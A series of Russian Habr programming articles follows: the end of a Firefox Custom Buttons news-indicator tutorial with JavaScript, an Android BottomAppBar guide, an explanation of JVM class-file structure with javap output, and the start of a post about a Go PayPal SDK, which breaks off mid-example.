Кстати, в Custom Buttons есть небольшой баг с обработчиками событий: если не добавить удаление обработчика через onDestroy, обработчики наслаиваются (дублируются) каждый раз, как вы вызываете настройку панелей инструментов (открываете и закрываете палитру инструментов).
#### 3. Индикаторы новостей с проверками по таймеру и сохранением состояний между сессиями браузера.
В предыдущем примере нам достаточно было загрузить страницу, чтобы понять, есть ли новости: сервер брал на себя заботу о том, чтобы помнить, с чем пользователь ознакомился и с какого времени отсчитывать непрочитанные новости. Однако не на всех сайтах есть такие показатели новостей.
Приведу пример. В последнее время инструменты работы с субтитрами пополнились одной замечательной программой — Subtitle Edit. На [сайте разработчика](http://www.nikse.dk/) налажено общение с пользователями, которые сообщают об ошибках и запрашивают новые функции. На сайте есть rss для новых постов автора, в том числе и с сообщениями о новых версиях программы. Однако в комментариях к последнему посту обычно проходит обсуждение новой версии, и автор часто выкладывает ссылки на сборки с текущими исправлениями. Чтобы быть в курсе таких промежуточных изменений, приходится периодически открывать главную страницу и смотреть на ссылку последнего поста, не прибавилось ли комментариев.
Подписки на комментарии к посту нет. Точно так же нет на сайте и явных знаков того, что имеются непрочитанные комментарии. Нужно помнить прежнее количество комментариев и проверять, не увеличилось ли число в верхней ссылке. Вот это сравнение мы и перегрузим на кнопку. Она будет запоминать ссылку на последний пост и количество комментариев в нём. Если верхний пост изменится или к нему добавятся комментарии, кнопка сообщит о новостях.
Сброс новостей тоже немного изменится. Во втором примере пользователь читал новые сообщения на сайте и их сайтовый показатель сбрасывался. Сброс кнопки всего лишь предвосхищал это. В нашем третьем примере сам сайт никак не меняется после того как мы прочитаем новые комментарии. Поэтому мы введём дополнительную переменную-флаг для наличия/отсутствия новостей: как только новости появляются, переменная меняется и сохраняется в таком состоянии на время всех запросов, пока пользователь не отреагирует и открытие сайта через кнопку не сбросит этот флаг.
Теперь о добавлениях в коде.
```
var pageURL = "http://www.nikse.dk/";
var keyElementXPath = "/html/body/table/tbody/tr/td[2]/table/tbody/tr[1]/td[3]/a";
var delay = 20 * 1000;
var interval = 60 * 60000;
var imgThrobber = "data:image/gif;base64,R0lGODlhEAAQAOMIAAAAABoaGjMzM0xMTGZmZoCAgJmZmbKysv///////////////////////////////yH/C05FVFNDQVBFMi4wAwEAAAAh+QQBCgAIACwAAAAAEAAQAAAESBDJiQCgmFqbZwjVhhwH9n3hSJbeSa1sm5GUIHSTYSC2jeu63q0D3PlwCB1lMMgUChgmk/J8LqUIAgFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UKgmFqbpxDV9gAA9n3hSJbeSa1sm5HUMHTTcTy2jeu63q0D3PlwDx2FQMgYDBgmk/J8LqWPQuFRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YSgmFqb5xjV9gQB9n3hSJbeSa1sm5EUQXQTADy2jeu63q0D3PlwDx2lUMgcDhgmk/J8LqUPg+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+cagmFqbJyHV9ggC9n3hSJbeSa1sm5FUUXRTEDy2jeu63q0D3PlwDx3FYMgAABgmk/J8LqWPw+FRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+QihmFqbZynV9gwD9n3hSJbeSa1sm5GUYXSTIDy2jeu63q0D3PlwDx3lcMgEAhgmk/J8LqUPAOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+UqhmFqbpzHV9hAE9n3hSJbeSa1sm5HUcXTTMDy2jeu63q0D3PlwDx0FAMgIBBgmk/J8LqWPQOBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+YyhmFqb5znV9hQF9n3hSJbeSa1sm5EUAHQTQTy2jeu63q0D3PlwDx0lEMgMBhgmk/J8LqUPgeBRhV6z2q0VF94iJ9pOBAAh+QQBCgAPACwAAAAAEAAQAAAESPDJ+c6hmFqbJwDV9hgG9n3hSJbeSa1sm5FUEHRTUTy2jeu63q0D3PlwDx1FIMgQCBgmk/J8LqWPweBRhV6z2q0VF94iJ9pOBAA7";
var imgNews = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAJKSURBVHjalJI/axRRFMXvve/NzO7M7oaQNe5uig2aSExIiPgRFBttkhCihfkCYmNjY6NgYyWIlYWFVjFFIKRIHwNCMIkiZCF/Vth1dl1IMjtmd17ezFyLkQhq4+0u/A73nMsB+M9BAJBZ2XetL11OA/+LEEgWtVZb/iefI0aZk6PPR4uzRY4ZAJAw4ZIVGDhmYOCQdx7u1N/UZe5Kzr5oVx5V/M8+mYQSySQUCPRbjAKz49nCdKG12pJWwfI2PG/Dy1/PZ8ezKPH4w7FyVelO6cyVu+D2XO0J6oFIC0KBsYpTpVT5XjmoB8pVl55cQolzN+ZUU6mmUg2FAs3zJiAAggT+FQsQgloQtsP62zpZ1Ib26fdTjlkfaTTw7BpxxIAQfAsai42BuwNjL8dYM0qchMnCTKE4W8yMZFDgWR4ZBzEAyJwEhP1n+5SiqVdTyw+W12Ct+qKaPAoSmBOBjpGQLCrMFFIDKTKp0qlwzBMwsT69nnDuOzfxDAzCGXLsC7b30evsdYAh9MPmUjPqRNvedngchl6oDzUZNH9zfnN7s7nUlLGKhSNY80nlpFvtUorIJDKpvdW2Sla6nHaGnPJEeaWz0lptRSeR1EfaGXb6b/XrQ525nLGH7NxkbiQ3YoPtgXegDoJasPd+r/a65i64HDKa58zS7dLw42Gj14g6kT7S0Y8oVjFKFLZAAxuLjd2nu6xZexoYEADMvGn0GlbRGrw/iAaKtOh+7ba32v4Xv1vtqobiiDnkP1tLFiVfMvOmsAVKRIF/l/fnAIYyDbro6Ua2AAAAAElFTkSuQmCC";
var imgNoNews = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAI4SURBVHjalJK/aipREMbPnDNn/YMYdGWJgiLRIqWVhYqB1PoG1nkKX8E3ECysEtLZGUgKt14RQiAoKiKI/3YXXNTsuntusVzhkupON/Ab5vu+GUL+s4AQEgqFCoWCoihCiN8EpZRzrmnabDbzPA/C4fDT01OlUvFpAPA5vxV/y3XdTqfz/v6OuVwumUx2u935fI6IjDFEpJRSSq/DlNJsNlsqlTRNw1gsNh6Px+NxoVDIZrOMse/vb13XHx4erqoGg0E+n9/v95IkUUqp4zjxeLxWq+33e13XG40GY6xer5umaZqmYRiU0lgsBgAAgEII3xYA7Ha74/H48fHBObdt2zRNIYRlWYh43Yae5wGAruuqqj4+PmYymX6/zxhLJBLlcpkQ8vn5OZlMrn7Qtm1CSDgcBoDX11dJkprNZqvVWq1WvV7PD8qn/dzQdV0A4JyXy2VZlhFxu90KIWRZLpVKPqeqqq9ZCIH+nGEYLy8viqJwzkejkeM47XbbP4vneYqiFIvFr68vy7LQcZxgMHi5XJbL5Xq9liQJERFxOp3KsqwoSjKZvL+/n0wmmqadz2e0LCuVShWLxcPhkE6nU6nU3d3d7e0tItq2bRjGbrcbDodvb2+DwcB1Xbi5ualWq41GIxKJ/Pz8WJZ1Op0cx2GMBQIBRFRV9fn5+XK5HI9HIQQQQqLRaCQSicfj9XodESVJ2mw20+l0sVis12vDMDzPc13336cF4Jz7KUWj0UAgwBijlP5+3j8DAOp7HGipYoAdAAAAAElFTkSuQmCC";
var imgErrorOrTimeout = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAACXBIWXMAAAsTAAALEwEAmpwYAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAJtSURBVHjalFLPSxRxHP18f8zMOuu67JCLm4m2omzMIthhQaxDXjwKHuzSRZEgQoigg9AtqINIV+nSHyCJhyAMBGXNX2yoyIqJG26u6+gqszUzzszuzPfbYVUKuvRuH3iP93mPB/CfQAAQFsXBeLwjHOb/YhCE6iidzuVWNM3nHEUk6UN//4PeXuAcAAChS2Lt5BwYA87B817Mzr7d2qL3YjFVUd7MzKyfnkqECBhLhBCECEL4SkwxTkWjI4nEdC5HbwWDi8XiYrE4GI+nolGRkPlC4YdpPk0mr7+aymbvx2IHhiFTiinGju+3hkKP+/oODCNvGGNDQwLGbcPDR5Z1ZFmHpkkQaqmvxwhhhCjjvBYLEPr+65fuuvL8fIAQsO2CaXKAkm1LhFy7UZ9zjFDeMD6trT3r6sKq+nluTsAYWloedncDQHpvL318DFcaeuF5ABCRJIzQ8+VleX399fj4xuQk7O9PpNMAwDivZWecAwCt+D4CCBDSn0q1hUISIZDPM86huXkkkQAADvBuZwdEESPEOCeqotyJRL5oWkHTGOc/K5WPGxtmtSptb587ju66JccRMVZHR/Orq+93d6nteQ2i6Pr+5tnZt3JZplQiRMR4WdNuNzR0hMOqopCeHshkpnM5o1qlZ46TVJRHnZ0nFxd3GxuTihJNJKC9HQQBbBs0DQ4PzxcWJjY3p7LZKmPoZjD4RFVfDgyAooBlga6DYfiVCqEUZBkEYSaTGVtacn1fd93LAppk+UYg0BoKvUqlJEJkSvfK5ZWTk6+l0q6uFyzLY6zK2F+TxAjVUVprqUmW6wVBwJhcD/EP/B4AKOgP3B2vzLEAAAAASUVORK5CYII=";
var btn = this;
var parser = new DOMParser();
var prefService = Components.classes["@mozilla.org/preferences-service;1"].getService(Components.interfaces.nsIPrefService);
var prefBranch = prefService.getBranch("cb_storage.");
var supportsString = Components.interfaces.nsISupportsString;
var uStr = Components.classes["@mozilla.org/supports-string;1"].createInstance(supportsString);
function clickBtn(event) {
if (event.button == 0) {
event.preventDefault();
window.clearInterval(checker);
checker = window.setInterval(getDoc, interval, pageURL, true);
getDoc(pageURL, true);
}
else if (event.button == 1) {
event.preventDefault();
window.clearInterval(checker);
checker = window.setInterval(getDoc, interval, pageURL, true);
var previousStat = JSON.parse(prefBranch.getComplexValue("Subtitle_Edit", supportsString).data);
previousStat.isNew = false;
uStr.data = JSON.stringify(previousStat);
prefBranch.setComplexValue("Subtitle_Edit", supportsString, uStr);
prefService.savePrefFile(null);
btn.image = imgNoNews;
btn.tooltipText = ((new Date()).toLocaleString() + " No news: " + previousStat.commentsInfo);
if (gBrowser.selectedBrowser.currentURI.spec == "about:blank" && !gBrowser.selectedBrowser.webProgress.isLoadingDocument) {
gBrowser.selectedBrowser.loadURI(pageURL);
}
else {
gBrowser.selectedTab = gBrowser.addTab(pageURL);
}
}
}
function getDoc(pageURL, pureXHR) {
btn.image = imgThrobber;
var xhr = new XMLHttpRequest();
xhr.mozBackgroundRequest = true;
xhr.open("GET", pageURL, true);
xhr.timeout = 3000;
xhr.channel.loadFlags |= Components.interfaces.nsIRequest.LOAD_BYPASS_CACHE;
xhr.channel.QueryInterface(Components.interfaces.nsIHttpChannelInternal)
.forceAllowThirdPartyCookie = true;
if (pureXHR) {
xhr.responseType = "document";
xhr.onload = function() {
processDoc(this.responseXML);
}
xhr.ontimeout = function() {
getDoc(pageURL, false);
}
}
else {
xhr.onload = function() {
processDoc(parser.parseFromString(this.responseText, "text/html"));
}
xhr.ontimeout = function() {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " Timeout");
}
}
xhr.onerror = function() {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " HTTP error");
}
xhr.send(null);
}
function processDoc(doc) {
var keyElement = doc.evaluate(keyElementXPath, doc, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
if (keyElement) {
var previousStat = JSON.parse(prefBranch.getComplexValue("Subtitle_Edit", supportsString).data);
if (previousStat.pageURL != keyElement.href || previousStat.commentsInfo != keyElement.textContent || previousStat.isNew) {
previousStat.pageURL = keyElement.href;
previousStat.commentsInfo = keyElement.textContent;
previousStat.isNew = true;
uStr.data = JSON.stringify(previousStat);
prefBranch.setComplexValue("Subtitle_Edit", supportsString, uStr);
prefService.savePrefFile(null);
btn.image = imgNews;
btn.tooltipText = ((new Date()).toLocaleString() + " News: " + keyElement.textContent);
}
else {
btn.image = imgNoNews;
btn.tooltipText = ((new Date()).toLocaleString() + " No news: " + keyElement.textContent);
}
}
else {
btn.image = imgErrorOrTimeout;
btn.tooltipText = ((new Date()).toLocaleString() + " Parsing error");
}
}
if (!prefBranch.prefHasUserValue("Subtitle_Edit")) {
uStr.data = JSON.stringify({"pageURL": "", "commentsInfo": "", "isNew": false});
prefBranch.setComplexValue("Subtitle_Edit", supportsString, uStr);
prefService.savePrefFile(null);
}
btn.addEventListener("click", clickBtn, true);
btn.onDestroy = function() {
btn.removeEventListener("click", clickBtn, true);
}
window.setTimeout(getDoc, delay, pageURL, true);
var checker = window.setInterval(getDoc, interval, pageURL, true);
```
Как мы видим, добавились переменные для некоторых внутренних механизмов: все они нам пригодятся для сохранения данных между сессиями. Мы будем использовать ту же базу настроек, что и расширения (к помощи простых файлов или баз данных обращаться не будем, чтобы избежать лишней сложности). Мы выбрали самый универсальный способ хранения строковых данных (\*\*\*ComplexValue), чтобы при необходимости можно было хранить в базе юникод.
К обработчику нажатия на кнопку добавились инструкции по сбросу флага новостей (кнопка запрашивает ключ из настроек, превращает его в объект через JSON, изменяет флаг, запаковывает объект в строку и опять сохраняет его в базе настроек).
Больше всего добавлено к подфункции обработки документа. Проверив наличие ключевого элемента, мы запрашиваем из базы настроек объект с информацией о прежнем состоянии (ссылку на последний пост, количество комментариев и не был ли поднят флаг новостей в последний раз: ведь после этого все последующие запросы могут натыкаться на одинаковые результаты, которые всё равно должны оставаться новостями, пока пользователь не обратит внимание на кнопку и не откроет сайт). Если текущее и прежнее состояние одинаковы и флаг новостей не активизирован, мы оставляем индикатор в нейтральном состоянии и в настройках ничего не меняем. Если же появился новый пост, добавились комментарии или флаг новостей поднят с прежних запросов, мы заменяем прежнее состояние текущим, сохраняем изменённый объект с параметрами в базу настроек и сигнализируем о новостях.
После определения переменных и функций и перед привязкой обработчиков, отложенным вызовом и запуском таймера нам нужно сделать ещё одно: проверить, есть ли в базе настроек ключ для хранения наших данных. Если инициализация кнопки запущена в первый раз (мы только что создали кнопку), ключа ещё нет, и тогда мы создаём заготовку объекта с пустыми значениями параметров и неактивным флагом новостей.
Вот, в общем-то, и все основные типы индикаторов. В каждом из них нужно лишь изменять адрес страницы и XPath ключевого элемента. Во втором и третьем случае нужно также изменять предмет проверки в функции разбора документа. В третьем случае нужно ещё не забыть задать новый ключ для хранения данных новой кнопки, чтобы две кнопки случайно не перезаписывали хранилище данных друг друга.
Примеры можно наращивать по мере необходимости: усложнять способы оповещения о новостях, добавлять ключевые элементы и параметры сравнения, создавать на лету новые детали интерфейса (например, панели с динамической текстовой информацией рядом с кнопкой) и так далее. Обо всём этом можно почитать на сайте разработчиков Firefox или подсмотреть в примерах готовых кнопок на сайте разработчика Custom Buttons.
Спасибо всем, кто дочитал. И удачных вам экспериментов) | https://habr.com/ru/post/146594/ | null | ru | null |
# Реализация BottomAppBar. Часть 1: Material компоненты для Android
[BottomAppBar](https://material.io/develop/android/components/bottom-app-bar/) — это один из новых Android Material компонентов, которые были представлены на [Google I/O 2018](https://events.google.com/io/). Это по сути расширение компонента [Toolbar](https://developer.android.com/reference/android/widget/Toolbar). Новый BottomAppBar располагается в нижней части окна приложения в отличие от тулбара, который находится в его верхней части. С помощью этой парадигмы команда Material Design ожидает нового пользовательского опыта (UX). BottomAppBar намного более доступен для пользователя в сравнении с обычным тулбаром. Переместив панель управления и меню в нижнюю часть приложения, BottomAppBar предлагает кардинально новый дизайн для Android приложений.
Вместе с BottomAppBar также изменилось расположение [Floating Action Button (FAB)](https://material.io/develop/android/components/floating-action-button/) (рус. *плавающая кнопка действия*). Теперь FAB могут быть размещены либо «врезаясь» в BottomAppBar, либо перекрывая его.
В этой статье будет продемонстрирована реализация основ BottomAppBar вместе с новыми вариантами размещения FAB.
Настройка
---------
Для начала требуются небольшие первоначальные настройки.
Подробное объяснение того, как включить Material компоненты для вашего Android проекта, вы можете найти на [этой странице](https://github.com/material-components/material-components-android/blob/master/docs/getting-started.md). Кроме того, в этом туториале вам необходимо использовать [Android Studio 3.2 или выше](https://developer.android.com/studio/preview/).
Ниже приведены необходимые шаги настройки.
1.Добавьте репозиторий Google Maven в файле `build.gradle`.
```
allprojects {
repositories {
jcenter()
maven {
url "https://maven.google.com"
}
}
}
```
2.Добавьте зависимость для material компонентов в файле `build.gradle`. Имейте в виду, что версия регулярно обновляется.
```
implementation 'com.google.android.material:material:1.0.0-alpha1'
```
3.Установите в качестве `compileSdkVersion` и `targetSdkVersion` версию API минимум для Android P (т.е. 28 и выше).
4.Убедитесь, что ваше приложение наследует тему *Theme.MaterialComponents*, чтобы BottomAppBar использовал самый последний стиль. В качестве альтернативы вы можете задавать стиль для BottomAppBar при объявлении виджета в XML-файле макета следующим образом:
```
style=”@style/Widget.MaterialComponents.BottomAppBar”
```
Реализация
----------
Вы можете добавить BottomAppBar в свой макет следующим образом. Также BottomAppBar должен быть дочерним элементом [CoordinatorLayout](https://developer.android.com/reference/android/support/design/widget/CoordinatorLayout).
Вы можете привязать FAB к BottomAppBar, указав `id` элемента BottomAppBar в атрибуте `app:layout_anchor` элемента FAB. BottomAppBar может обволакивать FAB или FAB может перекрывать BottomAppBar.
Атрибуты BottomAppBar
---------------------
В таблице ниже показаны атрибуты BottomAppBar.
### backgroundTint
Это атрибут установки цвета фона BottomAppBar.
### fabAlignmentMode
Атрибут определяет положение FAB (либо в центре, либо в конце BottomAppBar). Ниже показано выравнивание FAB в конце BottomAppBar.
### fabAttached
Атрибут предназначен для привязки FAB к BottomAppBar и может быть *true* или *false*. Хотя по [руководству по материальному дизайну](https://material.io/design/components/app-bars-bottom.html#anatomy) не рекомендуется размещать FAB за пределами BottomAppBar, возможность такой настройки имеется. Ниже показана ситуация, когда для атрибута `fabAttached` установлено значение *false*.
### fabCradleDiameter
Определяет диаметр «колыбели», содержащей FAB.
### fabCradleRoundedCornerRadius
Задаёт радиус угла в точке встречи «колыбели» и горизонтальной части BottomAppBar.
### fabCradleVerticalOffset
Указывает смещение «колыбели» снизу.
Вот весь XML-файл макета, который использовался для приведённых выше примеров.
```
xml version="1.0" encoding="utf-8"?
```
Мы разобрались с основами нового компонента Android Material — BottomAppBar, а также новыми функциями FAB. Виджет BottomAppBar сам по себе не является сложным в использовании, поскольку он расширяет обычный Toolbar, но он кардинально меняет подход к проектированию интерфейса приложения.
[Вторая](https://habr.com/post/421881/) и [третья](https://habr.com/post/422445/) части этой серии про BottomAppBar будут посвящены работе с меню и навигацией и реализацией различных поведений BottomAppBar в соответствии с принципами Material Design.
[→ Реализация BottomAppBar. Часть 2: Меню и элемент управления Navigation Drawer](https://habr.com/post/421881/)
[→ Реализация BottomAppBar. Часть 3: Поведения для Android](https://habr.com/post/422445/) | https://habr.com/ru/post/421879/ | null | ru | null |
# Внутренности JVM, Часть 2 — Структура class-файлов
*Всем привет! Перевод статьи подготовлен специально для студентов курса [«Разработчик Java»](https://otus.pw/JWN7/).*
---
Продолжаем разговор о том, как Java Virtual Machine работает внутри. В [предыдущей статье](https://habr.com/ru/company/otus/blog/468193/) ([оригинал на анг.](https://medium.com/@prateeksaini/java-virtual-machine-internals-class-loader-eea706eb37d9)) мы рассмотрели подсистему загрузки классов. В этой статье мы поговорим о структуре class-файлов.
Как мы уже знаем, весь исходный код, написанный на языке программирования Java, сначала компилируется в [байт-код](https://en.wikipedia.org/wiki/Java_bytecode) с помощью компилятора `javac`, входящего в состав Java Development Kit. Байт-код сохраняется в бинарный файл в специальный class-файл. Затем эти class-файлы динамически (при необходимости) загружаются в память загрузчиком классов (ClassLoader).
*Рисунок — компиляция исходного кода Java*
Каждый файл с расширением `.java` компилируется как минимум в один файл `.class`. Для каждого класса, интерфейса и модуля, определенных в исходном коде, создается по одному `.class` файлу. Это также относится к интерфейсам и вложенным классам.
Примечание — для простоты файлы с расширением `.class` будем называть “class-файлами”.
Давайте напишем простую программу.
```
public class ClassOne{
public static void main(String[] args){
System.out.println("Hello world");
}
static class StaticNestedClass{
}
}
class ClassTwo{
}
interface InterfaceOne{
}
```
Запуск `javac` для этого файла приведет к появлению следующих файлов.
```
ClassOne$StaticNestedClass.class
ClassOne.class
ClassTwo.class
InterfaceOne.class
```
Как видите, для каждого класса и интерфейса создается отдельный class-файл.
### Что внутри class-файла?
Class-файл имеет бинарный формат. Информация в нем обычно записывается без отступов между последовательными частями информации, все выравнивается по границам байтов. Все 16-битные и 32-битные значения записываются с помощью двух или четырех последовательных 8-битных байтов.
Class-файл содержит следующую информацию.
**Магическое число, сигнатура**. Первые четыре байта каждого class-файла всегда `0xCAFEBABE`. Эти четыре байта идентифицируют class-файл Java.
**Версия файла.** Следующие четыре байта содержат мажорную и минорную версию файла. Вместе эти номера определяют версию формата class-файла. Если class-файл имеет основной мажорную версию M и минорную m, то мы обозначаем эту версию как M.m.
У каждой JVM есть ограничения по поддерживаемым версиям class-файлов. Например, Java 11 поддерживает major версию с 45 до 55, Java 12 — с 45 по 56.
**Пул констант.** Таблица структур, представляющих строковые константы, имена классов, интерфейсов, полей, методов и другие константы, которые есть в структуре ClassFile и ее подструктурах. Каждый элемент пула констант начинается с однобайтового тега, определяющего тип константы. В зависимости от типа константы следующие байты могут быть непосредственным значением константы или ссылкой на другой элемент в пуле.
**Флаги доступа.** Список флагов, которые указывают класс это или интерфейс, public или private, финальный класс или нет. Различные флаги, такие как `ACC_PUBLIC`, `ACC_FINAL`, `ACC_INTERFACE`, `ACC_ENUM` и т. д. описаны спецификации Java Virtual Machine Specification.
**This class.** Ссылка на запись в пуле констант.
**Super class.** Ссылка на запись в пуле констант.
**Интерфейсы.** Количество интерфейсов, реализованных классом.
**Количество полей.** Количество полей в классе или интерфейсе.
**Поля.** После количества полей следует таблица структур переменной длины. По одной для каждого поля с описанием типа поля и названия (со ссылкой на пул констант).
**Количество методов.** Количество методов в классе или интерфейсе. Это число включает только методы, которые явно определены в классе, без методов, унаследованных от суперклассов.
**Методы.** Далее находятся сами методы. Для каждого метода содержится следующая информация: дескриптор метода (тип возвращаемого значения и список аргументов), количество слов, необходимых для локальных переменных метода, максимальное количество слов стека, необходимых для стека операндов метода, таблицу исключений, перехватываемых методом, байт-коды метода и таблица номеров строк.
**Количество атрибутов.** Количество атрибутов в этом классе, интерфейсе или модуле.
**Атрибуты.** После количества атрибутов следуют таблицы или структуры переменной длины, описывающие каждый атрибут. Например, всегда есть атрибут “SourceFile”. Он содержит имя исходного файла, из которого был скомпилирован class-файл.
Хотя class-файл напрямую не человекочитаемый, в JDK есть инструмент под названием **javap**, который выводит его содержимое в удобном формате.
Давайте напишем простую программу на Java, указанную ниже.
```
package bytecode;
import java.io.Serializable;
public class HelloWorld implements Serializable, Cloneable {
public static void main(String[] args) {
System.out.println("Hello World");
}
}
```
Давайте скомпилируем эту программу с помощью `javac`, которая создаст файл `HelloWorld.class`, и используем `javap` для просмотра файла `HelloWorld.class`. Запустив `javap` с параметром `-v (verbose)` для `HelloWorld.class` получим следующий результат:
```
Classfile /Users/apersiankite/Documents/code_practice/java_practice/target/classes/bytecode/HelloWorld.class
Last modified 02-Jul-2019; size 606 bytes
MD5 checksum 6442d93b955c2e249619a1bade6d5b98
Compiled from "HelloWorld.java"
public class bytecode.HelloWorld implements java.io.Serializable,java.lang.Cloneable
minor version: 0
major version: 55
flags: (0x0021) ACC_PUBLIC, ACC_SUPER
this_class: #5 // bytecode/HelloWorld
super_class: #6 // java/lang/Object
interfaces: 2, fields: 0, methods: 2, attributes: 1
Constant pool:
#1 = Methodref #6.#22 // java/lang/Object."":()V
#2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #25 // Hello World
#4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = Class #28 // bytecode/HelloWorld
#6 = Class #29 // java/lang/Object
#7 = Class #30 // java/io/Serializable
#8 = Class #31 // java/lang/Cloneable
#9 = Utf8
#10 = Utf8 ()V
#11 = Utf8 Code
#12 = Utf8 LineNumberTable
#13 = Utf8 LocalVariableTable
#14 = Utf8 this
#15 = Utf8 Lbytecode/HelloWorld;
#16 = Utf8 main
#17 = Utf8 ([Ljava/lang/String;)V
#18 = Utf8 args
#19 = Utf8 [Ljava/lang/String;
#20 = Utf8 SourceFile
#21 = Utf8 HelloWorld.java
#22 = NameAndType #9:#10 // "":()V
#23 = Class #32 // java/lang/System
#24 = NameAndType #33:#34 // out:Ljava/io/PrintStream;
#25 = Utf8 Hello World
#26 = Class #35 // java/io/PrintStream
#27 = NameAndType #36:#37 // println:(Ljava/lang/String;)V
#28 = Utf8 bytecode/HelloWorld
#29 = Utf8 java/lang/Object
#30 = Utf8 java/io/Serializable
#31 = Utf8 java/lang/Cloneable
#32 = Utf8 java/lang/System
#33 = Utf8 out
#34 = Utf8 Ljava/io/PrintStream;
#35 = Utf8 java/io/PrintStream
#36 = Utf8 println
#37 = Utf8 (Ljava/lang/String;)V
{
public bytecode.HelloWorld();
descriptor: ()V
flags: (0x0001) ACC\_PUBLIC
Code:
stack=1, locals=1, args\_size=1
0: aload\_0
1: invokespecial #1 // Method java/lang/Object."":()V
4: return
LineNumberTable:
line 4: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lbytecode/HelloWorld;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: (0x0009) ACC\_PUBLIC, ACC\_STATIC
Code:
stack=2, locals=1, args\_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String Hello World
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 7: 0
line 8: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
}
SourceFile: "HelloWorld.java"
```
Здесь вы можете увидеть, что класс публичный (`public`) и у него в пуле констант 37 записей. Есть один атрибут (SourceFile внизу), класс реализует два интерфейса (Serializable, Cloneable), у него нет полей и есть два метода.
Возможно, вы заметили, что в исходном коде есть только один статический метод main, но class-файл говорит, что есть два метода. Вспомните конструктор по умолчанию — это конструктор без аргументов, добавленный компилятором `javac`, байт-код которого также виден в выводе. Конструкторы рассматриваются как методы.
Больше почитать про javap вы можете [здесь](https://docs.oracle.com/en/java/javase/12/tools/javap.html).
> **Совет**: вы также можете использовать javap для того, чтобы увидеть, чем лямбды отличаются от анонимных внутренних классов. | https://habr.com/ru/post/478584/ | null | ru | null |
# Go-клиент для PayPal API
Всем привет! Мы разрабатываем сервис для сбора, доставки и анализа логов, серверная часть которого написана на [Go](https://golang.org/). В этой статье мы расскажем о проблеме, с которой мы столкнулись при подключении нашего проекта к платежной системе PayPal и о решении, которое мы разработали и успешно внедрили.
Итак, у многих есть опыт работы с API PayPal, использовать OAuth 2.0 довольно просто: подключаем библиотеку-клиент в свой проект и начинаем реализацию.
Для PHP, Java и Python существуют официальные SDK библиотеки, но наш сервис написан на GO, и в этом случае поиск SDK не дал нам приемлемых результатов(<https://github.com/search?q=paypal+golang>). В итоге найдено пять проектов на github, два из которых выглядят достойно, но имеют ограниченный функционал:
* [leebenson/paypal](https://github.com/leebenson/paypal) (неполное покрытие API)
* [crowdmob/paypal](https://github.com/crowdmob/paypal) (реализовывает только Express Checkout)
Нам был необходим клиент с возможностью расширения и улучшения функционала, поэтому было принято решение написать свой ~~велосипед~~.
#### OAuth 2.0
На этапе разработки мы использовали [PayPal sandbox](https://developer.paypal.com/), где проводили тестирование всех видов запросов API.
Первый этап — это работа с протоколом PayPal и авторизация. PayPal использует OAuth версии 2.0. Для начала нам необходимо получить приватные ключи (client\_id и secret\_key).
Авторизация осуществляется следующим образом: после получения client\_id и secret\_key необходимо сделать запрос в PayPal на получение access\_token, который действителен в течении заданного времени. Далее все запросы в PayPal API должны сопровождаться этим токеном в заголовке запроса (-u ":").
Реализация с использованием нашего клиента:
```
import "github.com/logpacker/PayPal-Go-SDK"
// ...
// Create a client instance
c, err := paypalsdk.NewClient("clientID", "secretID", paypalsdk.APIBaseSandBox)
accessToken, err := c.GetAccessToken()
```
Далее объект клиента будет иметь все доступные методы для работы с API. Например, чтобы создать платеж нам необходимо выполнить следующее:
```
paymentResponse, err := client.CreatePayment(p)
```
Мы работаем над тем, чтобы предоставить и описать [все доступные операции API](https://developer.paypal.com/webapps/developer/docs/api/), при этом есть возможность вызвать любой конечный метод посредством базовых функций:
```
req, err := c.NewRequest(method, url, payload)
c.SendWithAuth(req, &resp)
```
Все запросы в PayPal можно логировать в файл, полный дамп запроса сохраняется вместе с заголовками:
```
c.SetLogFile("/tpm/paypal-debug.log")
```
#### Доступные функции API
Полный список функций PayPal API представлен в [спецификации](https://developer.paypal.com/webapps/developer/docs/api/), все они делятся на группы, Payments, Orders, Vault. В клиенте мы реализовали встроенные функции для основных операций API:
**POST** /v1/oauth2/token — получение временного access\_token
```
accessToken, err := c.GetAccessToken()
```
За сохранение ключа отвечает приложение, поэтому вместо получения нового ключа можно установить сохраненный.
```
token := "abcdef"
c.SetAccessToken(token)
```
**POST** /v1/payments/payment — создание платежа в PayPal. Мы предоставили две функции для создания платежа.
Внутренний PayPal платеж:
```
amount := paypalsdk.Amount{
Total: "7.00",
Currency: "USD",
}
redirectURI := "http://example.com/redirect-uri"
